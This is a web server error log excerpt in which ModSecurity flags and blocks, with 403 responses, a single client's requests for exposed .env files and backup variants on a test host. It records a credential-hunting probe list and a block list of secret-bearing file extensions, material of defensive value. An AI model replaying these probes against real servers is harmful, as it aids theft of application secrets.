[Thu Oct 30 20:08:23.804407 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.old&quot;] [unique_id &quot;aQO3p0IRheG_olLGGo-l1wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:24.379295 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aQO3qEIRheG_olLGGo-l2AAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:24.379563 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aQO3qEIRheG_olLGGo-l2AAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:24.379780 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aQO3qEIRheG_olLGGo-l2AAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:24.929722 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.save&quot;] [unique_id &quot;aQO3qEIRheG_olLGGo-l2QAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:24.930030 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.save&quot;] [unique_id &quot;aQO3qEIRheG_olLGGo-l2QAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:24.930263 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.save&quot;] [unique_id &quot;aQO3qEIRheG_olLGGo-l2QAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:25.545220 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.bak&quot;] [unique_id &quot;aQO3qUIRheG_olLGGo-l2gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:25.545419 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.bak&quot;] [unique_id &quot;aQO3qUIRheG_olLGGo-l2gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:25.545664 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.bak&quot;] [unique_id &quot;aQO3qUIRheG_olLGGo-l2gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:25.545857 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.bak&quot;] [unique_id &quot;aQO3qUIRheG_olLGGo-l2gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:26.159301 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.old&quot;] [unique_id &quot;aQO3qkIRheG_olLGGo-l2wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:26.159488 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.old&quot;] [unique_id &quot;aQO3qkIRheG_olLGGo-l2wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:26.159740 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.old&quot;] [unique_id &quot;aQO3qkIRheG_olLGGo-l2wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:26.159941 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.old&quot;] [unique_id &quot;aQO3qkIRheG_olLGGo-l2wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:26.830992 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /system/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env&quot;] [unique_id &quot;aQO3qkIRheG_olLGGo-l3AAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:26.831253 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env&quot;] [unique_id &quot;aQO3qkIRheG_olLGGo-l3AAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:26.831443 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env&quot;] [unique_id &quot;aQO3qkIRheG_olLGGo-l3AAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:27.358104 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /system/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.save&quot;] [unique_id &quot;aQO3q0IRheG_olLGGo-l3QAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:27.358449 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.save&quot;] [unique_id &quot;aQO3q0IRheG_olLGGo-l3QAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:27.359105 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.save&quot;] [unique_id &quot;aQO3q0IRheG_olLGGo-l3QAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:27.886040 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.bak&quot;] [unique_id &quot;aQO3q0IRheG_olLGGo-l3gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:27.886238 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /system/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.bak&quot;] [unique_id &quot;aQO3q0IRheG_olLGGo-l3gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:27.886522 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.bak&quot;] [unique_id &quot;aQO3q0IRheG_olLGGo-l3gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:27.886721 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.bak&quot;] [unique_id &quot;aQO3q0IRheG_olLGGo-l3gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:28.421677 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.old&quot;] [unique_id &quot;aQO3rEIRheG_olLGGo-l3wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:28.421894 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /system/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.old&quot;] [unique_id &quot;aQO3rEIRheG_olLGGo-l3wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:28.422145 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.old&quot;] [unique_id &quot;aQO3rEIRheG_olLGGo-l3wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:28.422369 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.old&quot;] [unique_id &quot;aQO3rEIRheG_olLGGo-l3wAAAAI&quot;], referer: https://www.google.com/
